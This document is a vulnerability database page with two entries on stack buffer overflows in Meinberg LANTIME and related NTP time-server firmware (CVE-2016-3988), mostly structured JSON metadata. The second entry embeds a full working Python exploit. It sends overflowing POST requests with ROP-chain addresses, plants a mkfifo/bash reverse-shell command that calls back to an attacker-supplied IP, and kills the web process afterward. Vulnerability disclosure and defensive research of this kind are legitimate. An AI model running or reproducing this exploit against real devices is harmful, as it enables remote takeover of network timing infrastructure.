Search
Find a vulnerability
Search criteria
9 vulnerabilities found for lces by meinberg
VAR-201607-0011
Vulnerability from variot - Updated: 2025-04-13 23:02Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. Remote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. The following products are affected : Meinberg IMS-LANTIME M3000 Version 6.0 and prior Meinberg IMS-LANTIME M1000 Version 6.0 and prior Meinberg IMS-LANTIME M500 Version 6.0 and prior Meinberg LANTIME M900 Version 6.0 and prior Meinberg LANTIME M600 Version 6.0 and prior Meinberg LANTIME M400 Version 6.0 and prior Meinberg LANTIME M300 Version 6.0 and prior Meinberg LANTIME M200 Version 6.0 and prior Meinberg LANTIME M100 Version 6.0 and prior Meinberg SyncFire 1100 Version 6.0 and prior Meinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201607-0011",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "lces",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m200",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m300",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ntp server",
"scope": "lte",
"trust": 1.0,
"vendor": "meinberg",
"version": "6.0"
},
{
"model": "ims-lantime m1000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m400",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m600",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "syncfire 1100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m500",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m900",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m1000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m500",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m200",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m300",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m400",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m600",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m900",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lces",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "lt",
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": "6.20.004"
},
{
"model": "syncfire 1100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "eq",
"trust": 0.6,
"vendor": "meinberg",
"version": "6.0"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m1000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m3000",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:ims-lantime_m500",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m100",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m200",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m300",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m400",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m600",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lantime_m900",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:lces",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:meinberg:ntp_server_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/h:meinberg:syncfire_1100",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ryan Wincey",
"sources": [
{
"db": "BID",
"id": "91400"
}
],
"trust": 0.3
},
"cve": "CVE-2016-3988",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2016-3988",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-92807",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2016-3988",
"impactScore": 3.4,
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-3988",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-3988",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201606-552",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-92807",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92807"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple stack-based buffer overflows in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allow remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. \nRemote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. \nThe following products are affected :\nMeinberg IMS-LANTIME M3000 Version 6.0 and prior\nMeinberg IMS-LANTIME M1000 Version 6.0 and prior\nMeinberg IMS-LANTIME M500 Version 6.0 and prior\nMeinberg LANTIME M900 Version 6.0 and prior\nMeinberg LANTIME M600 Version 6.0 and prior\nMeinberg LANTIME M400 Version 6.0 and prior\nMeinberg LANTIME M300 Version 6.0 and prior\nMeinberg LANTIME M200 Version 6.0 and prior\nMeinberg LANTIME M100 Version 6.0 and prior\nMeinberg SyncFire 1100 Version 6.0 and prior\nMeinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-3988"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "VULHUB",
"id": "VHN-92807"
}
],
"trust": 1.98
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2016-3988",
"trust": 2.8
},
{
"db": "ICS CERT",
"id": "ICSA-16-175-03",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552",
"trust": 0.7
},
{
"db": "BID",
"id": "91400",
"trust": 0.3
},
{
"db": "VULHUB",
"id": "VHN-92807",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92807"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"id": "VAR-201607-0011",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-92807"
}
],
"trust": 0.01
},
"last_update_date": "2025-04-13T23:02:54.697000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Meinberg Security Advisory: [MBGSA-1604] WebUI and NTP",
"trust": 0.8,
"url": "https://www.meinbergglobal.com/english/news/meinberg-security-advisory-mbgsa-1604-webui-and-ntp.htm"
},
{
"title": "Multiple Meinberg Product-based stack-based buffer overflow vulnerability fixes",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=62468"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92807"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://ics-cert.us-cert.gov/advisories/icsa-16-175-03"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3988"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-3988"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-92807"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-92807"
},
{
"db": "BID",
"id": "91400"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-07-03T00:00:00",
"db": "VULHUB",
"id": "VHN-92807"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"date": "2016-06-24T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"date": "2016-07-03T14:59:04.523000",
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2016-07-08T00:00:00",
"db": "VULHUB",
"id": "VHN-92807"
},
{
"date": "2016-06-23T00:00:00",
"db": "BID",
"id": "91400"
},
{
"date": "2016-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2016-003489"
},
{
"date": "2016-07-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201606-552"
},
{
"date": "2025-04-12T10:46:40.837000",
"db": "NVD",
"id": "CVE-2016-3988"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural Meinberg Runs on device firmware NTP Time Server Interface-based stack-based buffer overflow vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-003489"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201606-552"
}
],
"trust": 0.6
}
}
VAR-201607-0010
Vulnerability from variot - Updated: 2025-04-13 23:02Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request. Meinberg NTP Time Server is prone to multiple privilege-escalation and stack-based buffer-overflow vulnerabilities. Remote attackers can exploit these issues to execute arbitrary code in the context of the application or gain elevated privileges. Other attacks are also possible. The following products are affected : Meinberg IMS-LANTIME M3000 Version 6.0 and prior Meinberg IMS-LANTIME M1000 Version 6.0 and prior Meinberg IMS-LANTIME M500 Version 6.0 and prior Meinberg LANTIME M900 Version 6.0 and prior Meinberg LANTIME M600 Version 6.0 and prior Meinberg LANTIME M400 Version 6.0 and prior Meinberg LANTIME M300 Version 6.0 and prior Meinberg LANTIME M200 Version 6.0 and prior Meinberg LANTIME M100 Version 6.0 and prior Meinberg SyncFire 1100 Version 6.0 and prior Meinberg LCES Version 6.0 and prior. Meinberg IMS-LANTIME M3000 etc. are all NTP time servers of German Meinberg company. #!/usr/bin/python
EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
271 - trigger notifications
299 - copy user defined notifications
Kernel Version: 2.6.15.1
System Version: 530
Lantime configuration utility 1.27
ELX800/GPS M4x V5.30p
import socket import struct import telnetlib import sys import time
if len(sys.argv) < 3: print "[-] " exit(1)
host = sys.argv[1] callback_ip = sys.argv[2]
print "[+] exploiting Meinburg M400" port = 80
Copy user_defined_notification to /www/filetmp
Append reverse shell string to /file/tmp
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8
must have a listener setup to receive the callback connection on ip 192.168.60.232
i.e. nc -v -l -p 4444
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash/tmp/foo;" >> /www/filetmp'
msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
time.sleep(1)
Copy /www/filetmp to user_defined_notification
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65
stack pivot
stack_pivot = 0x8049488 msg = "button=" + "A" * 9756
msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)
msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x80012111 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120
msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close
time.sleep(1)
Trigger reverse shell
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65
stack pivot
stack_pivot = 0x8049488 msg = "button=" + "A" * 9756
msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)
msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x800120f5 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120
msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
time.sleep(1)
print "[+] cleaning up"
Kill all mains that are hung-up
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )
param = "A" * 0x2850
resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"
system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8
command = 'killall main'
msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"
resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()
print "[+] enjoy"
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201607-0010",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "lces",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m200",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m300",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ntp server",
"scope": "lte",
"trust": 1.0,
"vendor": "meinberg",
"version": "6.0"
},
{
"model": "ims-lantime m1000",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m400",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m600",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "syncfire 1100",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m500",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "lantime m900",
"scope": "eq",
"trust": 1.0,
"vendor": "meinberg",
"version": null
},
{
"model": "ims-lantime m1000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m3000",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ims-lantime m500",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m200",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m300",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m400",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m600",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lantime m900",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "lces",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "lt",
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": "6.20.004"
},
{
"model": "syncfire 1100",
"scope": null,
"trust": 0.8,
"vendor": "meinberg funkuhren",
"version": null
},
{
"model": "ntp server",
"scope": "eq",
"trust": 0.6,
"vendor": "meinberg",
"version": "6.0"
}
],
